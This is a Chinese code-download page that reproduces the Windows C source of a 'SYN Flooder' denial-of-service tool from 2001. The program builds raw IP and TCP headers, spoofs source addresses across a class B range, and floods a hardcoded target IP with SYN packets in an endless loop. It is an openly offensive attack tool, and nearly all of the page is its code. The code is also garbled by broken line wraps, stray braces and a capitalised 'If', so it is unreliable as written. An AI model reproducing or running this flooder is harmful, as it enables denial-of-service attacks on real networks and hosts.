⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 359.htm

📁 unix高级编程原吗
💻 HTM
📖 第 1 页 / 共 3 页
字号:
编译环境:VC++6.0,编译时需要包含ws2_32.lib <br>

////////////////////////////////////////////////////////////////////////// <br>

//                                                                      // <br>

//  SYN Flooder For Win2K by Shotgun                                    // <br>

//                                                                      // <br>

//  THIS PROGRAM IS MODIFIED FROM A LINUX VERSION BY Zakath             // <br>

//  THANX Lion Hook FOR PROGRAM OPTIMIZATION                            // <br>

//                                                                      // <br>



//  Released:    [2001.4]                                                // <br>

//  Author:     [Shotgun]                                               // <br>

//  Homepage:                                                           // <br>

//              [http://IT.Xici.Net]                                    // <br>

//              [http://WWW.Patching.Net]                               // <br>

//                                                                      // <br>

////////////////////////////////////////////////////////////////////////// <br>

#include <winsock2.h> <br>

#include <Ws2tcpip.h> <br>

#include <stdio.h> <br>

#include <stdlib.h> <br>

#define SEQ 0x28376839 <br>

#define SYN_DEST_IP "192.168.15.250"//被攻击的IP <br>

#define FAKE_IP "10.168.150.1"       //伪装IP的起始值,本程序的伪装IP覆盖一个 <br>

B类 <br>

网段 <br>

#define STATUS_FAILED 0xFFFF      //错误返回值 <br>

typedef struct _iphdr              //定义IP首部 <br>

{ <br>

    unsigned char h_verlen;            //4位首部长度,4位IP版本号 <br>

    unsigned char tos;               //8位服务类型TOS <br>

    unsigned short total_len;      //16位总长度(字节) <br>



    unsigned short ident;            //16位标识 <br>

    unsigned short frag_and_flags;  //3位标志位 <br>

    unsigned char  ttl;              //8位生存时间 TTL <br>

    unsigned char proto;         //8位协议 (TCP, UDP 或其他) <br>

    unsigned short checksum;        //16位IP首部校验和 <br>

    unsigned int sourceIP;            //32位源IP地址 <br>

    unsigned int destIP;         //32位目的IP地址 <br>

}IP_HEADER; <br>

struct                              //定义TCP伪首部 <br>

{ <br>

        unsigned long saddr;     //源地址 <br>

        unsigned long daddr;     //目的地址 <br>

        char mbz; <br>

        char ptcl;                   //协议类型 <br>

        unsigned short tcpl;     //TCP长度 <br>

}psd_header; <br>

typedef struct _tcphdr             //定义TCP首部 <br>

{ <br>

    USHORT th_sport;               //16位源端口 <br>

    USHORT th_dport;               //16位目的端口 <br>

    unsigned int th_seq;         //32位序列号 <br>

    unsigned int th_ack;         //32位确认号 <br>



    unsigned char th_lenres;        //4位首部长度/6位保留字 <br>

    unsigned char th_flag;            //6位标志位 <br>

    USHORT th_win;                 //16位窗口大小 <br>

    USHORT th_sum;                 //16位校验和 <br>

    USHORT th_urp;                 //16位紧急数据偏移量 <br>

}TCP_HEADER; <br>

//CheckSum:计算校验和的子函数 <br>

USHORT checksum(USHORT *buffer, int size) <br>

{ <br>

unsigned long cksum=0; <br>

      while(size >1) { <br>

    cksum+=*buffer++; <br>

    size -=sizeof(USHORT); <br>

  } <br>

  if(size ) { <br>

    cksum += *(UCHAR*)buffer; <br>

  } <br>

  cksum = (cksum >> 16) + (cksum & 0xffff); <br>

  cksum += (cksum >>16); <br>

  return (USHORT)(~cksum); <br>

} <br>

//  SynFlood主函数 <br>



int main() <br>

{ <br>

    int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost; <br>

    int TimeOut=2000,SendSEQ=0; <br>

    char SendBuf[128]={0}; <br>

    char RecvBuf[65535]={0}; <br>

    WSADATA wsaData; <br>

    SOCKET SockRaw=(SOCKET)NULL; <br>

    struct sockaddr_in DestAddr; <br>

    IP_HEADER ip_header; <br>

    TCP_HEADER tcp_header; <br>

    //初始化SOCK_RAW <br>

    if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){ <br>

        fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode); <br>

        ExitProcess(STATUS_FAILED); <br>

    } <br>

    SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPE <br>

D)); <br>

if (SockRaw==INVALID_SOCKET){ <br>

        fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError()); <br>

        ExitProcess(STATUS_FAILED); <br>

    } <br>

    } <br>

    flag=TRUE; <br>

    //设置IP_HDRINCL以自己填充IP首部 <br>

    ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof( <br>

int) <br>

); <br>

If (ErrorCode==SOCKET_ERROR)  printf("Set IP_HDRINCL Error!\n"); <br>

    __try{ <br>

        //设置发送超时 <br>

        ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut, <br>

size <br>

of(TimeOut)); <br>

if(ErrorCode==SOCKET_ERROR){ <br>

            fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastErro <br>

r()) <br>

; <br>

            __leave; <br>

        } <br>

        memset(&DestAddr,0,sizeof(DestAddr)); <br>

        DestAddr.sin_family=AF_INET; <br>

        DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP); <br>

        FakeIpNet=inet_addr(FAKE_IP); <br>

        FakeIpHost=ntohl(FakeIpNet); <br>



        //填充IP首部 <br>

        ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); <br>

  <br>

//高四位IP版本号,低四位首部长度 <br>

        ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); <br>

 //1 <br>

6位总长度(字节) <br>

        ip_header.ident=1; <br>

 //16位标识 <br>

        ip_header.frag_and_flags=0; <br>

  //3位标志位 <br>

        ip_header.ttl=128; <br>

 //8位生存时间TTL <br>

        ip_header.proto=IPPROTO_TCP; <br>

  // <br>

8位协议(TCP,UDP…) <br>

        ip_header.checksum=0; <br>

 //16位IP首部校验和 <br>

        ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); <br>

   / <br>

/32位源IP地址 <br>

        ip_header.destIP=inet_addr(SYN_DEST_IP); <br>



   / <br>

/32位目的IP地址 <br>

    //填充TCP首部 <br>

        tcp_header.th_sport=htons(7000); <br>

  // <br>

源端口号 <br>

        tcp_header.th_dport=htons(8080); <br>

  // <br>

目的端口号 <br>

        tcp_header.th_seq=htonl(SEQ+SendSEQ); <br>

   / <br>

/SYN序列号 <br>

        tcp_header.th_ack=0; <br>

 //A <br>

CK序列号置为0 <br>

        tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0); <br>

 //TCP长度和保留位 <br>

        tcp_header.th_flag=2; <br>

 //SYN 标志 <br>

        tcp_header.th_win=htons(16384); <br>

  //窗口大小 <br>

        tcp_header.th_urp=0; <br>



 // <br>

偏 <br>

移 <br>

        tcp_header.th_sum=0; <br>

 // <br>

校 <br>

验和 <br>

        //填充TCP伪首部(用于计算校验和,并不真正发送) <br>

        psd_header.saddr=ip_header.sourceIP; <br>

//源地址 <br>

        psd_header.daddr=ip_header.destIP; <br>

//目的地址 <br>

        psd_header.mbz=0; <br>

        psd_header.ptcl=IPPROTO_TCP; <br>

//协议类型 <br>

        psd_header.tcpl=htons(sizeof(tcp_header)); <br>

//TCP首部长度 <br>

        while(1) { <br>

            //每发送10,240个报文输出一个标示符 <br>

            printf("."); <br>

            for(counter=0;counter<10240;counter++){ <br>

                if(SendSEQ++==65536) SendSEQ=1; <br>



 //序列号循环 <br>

                //更改IP首部 <br>

                ip_header.checksum=0; <br>

 //16位IP首部校验和 <br>

                ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); <br>

   / <br>

/32位源IP地址 <br>

                //更改TCP首部 <br>

                tcp_header.th_seq=htonl(SEQ+SendSEQ); <br>

   / <br>

/SYN序列号 <br>

                tcp_header.th_sum=0; <br>

 // <br>

校 <br>

验和 <br>

                //更改TCP Pseudo Header <br>

                psd_header.saddr=ip_header.sourceIP; <br>

                //计算TCP校验和,计算校验和时需要包括TCP pseudo header <br>

                memcpy(SendBuf,&psd_header,sizeof(psd_header)); <br>

                memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_hea <br>

der) <br>

); <br>

); <br>

                tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_head <br>

er)+ <br>

sizeof(tcp_header)); <br>

                //计算IP校验和 <br>

                memcpy(SendBuf,&ip_header,sizeof(ip_header)); <br>

                memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_head <br>

er)) <br>

; <br>

                memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4); <br>

                datasize=sizeof(ip_header)+sizeof(tcp_header); <br>

                ip_header.checksum=checksum((USHORT *)SendBuf,datasize); <br>

                //填充发送缓冲区 <br>

                memcpy(SendBuf,&ip_header,sizeof(ip_header)); <br>

                //发送TCP报文 <br>

                ErrorCode=sendto(SockRaw, <br>

                                SendBuf, <br>

                                datasize, <br>

                                0, <br>

                                (struct sockaddr*) &DestAddr, <br>

                                sizeof(DestAddr)); <br>

if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError()); <br>

            }//End of for <br>



        }//End of While <br>

    }//End of try <br>

  __finally { <br>

    if (SockRaw != INVALID_SOCKET) closesocket(SockRaw); <br>

    WSACleanup(); <br>

  } <br>

  return 0; <br>

} <br>

-- <br>

</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="343.htm">上一层</a>][<a href="360.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -